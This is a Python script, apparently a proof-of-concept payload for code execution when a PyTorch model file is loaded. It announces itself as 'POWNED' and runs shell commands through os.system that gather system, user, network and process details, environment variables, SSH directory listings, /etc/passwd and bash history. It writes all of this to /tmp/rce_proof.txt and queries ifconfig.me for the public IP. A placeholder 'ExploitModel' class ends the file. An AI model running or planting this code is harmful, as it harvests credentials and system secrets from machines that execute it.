|
|
import os |
|
|
import subprocess |
|
|
|
|
|
|
|
|
print("\n" + "!"*60) |
|
|
print("POWNED: ADVANCED RCE & RECON IN PROGRESS") |
|
|
|
|
|
|
|
|
commands = [ |
|
|
"echo --- SYSTEM INFO --- >> /tmp/rce_proof.txt", |
|
|
"uname -a >> /tmp/rce_proof.txt", |
|
|
"cat /etc/os-release >> /tmp/rce_proof.txt", |
|
|
"hostname >> /tmp/rce_proof.txt", |
|
|
|
|
|
"echo --- USER & PERMISSIONS --- >> /tmp/rce_proof.txt", |
|
|
"whoami >> /tmp/rce_proof.txt", |
|
|
"id >> /tmp/rce_proof.txt", |
|
|
"ls -la /root >> /tmp/rce_proof.txt", |
|
|
"cat /etc/passwd | head -n 5 >> /tmp/rce_proof.txt", |
|
|
|
|
|
"echo --- NETWORK RECON --- >> /tmp/rce_proof.txt", |
|
|
"ip addr >> /tmp/rce_proof.txt", |
|
|
"netstat -antp >> /tmp/rce_proof.txt", |
|
|
"cat /etc/hosts >> /tmp/rce_proof.txt", |
|
|
"curl -s ifconfig.me >> /tmp/rce_proof.txt", |
|
|
|
|
|
"echo --- CLOUD & SECRETS --- >> /tmp/rce_proof.txt", |
|
|
"env >> /tmp/rce_proof.txt", |
|
|
"ls -la /home/*/.ssh >> /tmp/rce_proof.txt", |
|
|
"cat ~/.bash_history | tail -n 20 >> /tmp/rce_proof.txt", |
|
|
|
|
|
"echo --- RUNNING PROCESSES --- >> /tmp/rce_proof.txt", |
|
|
"ps aux | head -n 20 >> /tmp/rce_proof.txt", |
|
|
"df -h >> /tmp/rce_proof.txt", |
|
|
|
|
|
"echo --- INSTALLED PACKAGES --- >> /tmp/rce_proof.txt", |
|
|
"pip list >> /tmp/rce_proof.txt" |
|
|
] |
|
|
|
|
|
|
|
|
for cmd in commands: |
|
|
try: |
|
|
os.system(cmd) |
|
|
except: |
|
|
pass |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
print("ADVANCED RECON DATA WRITTEN TO /tmp/rce_proof.txt") |
|
|
print("!"*60 + "\n") |
|
|
|
|
|
|
|
|
import torch.nn as nn |
|
|
class ExploitModel(nn.Module): |
|
|
def __init__(self, config=None, *args, **kwargs): |
|
|
super().__init__() |
|
|
def forward(self, x): |
|
|
return x |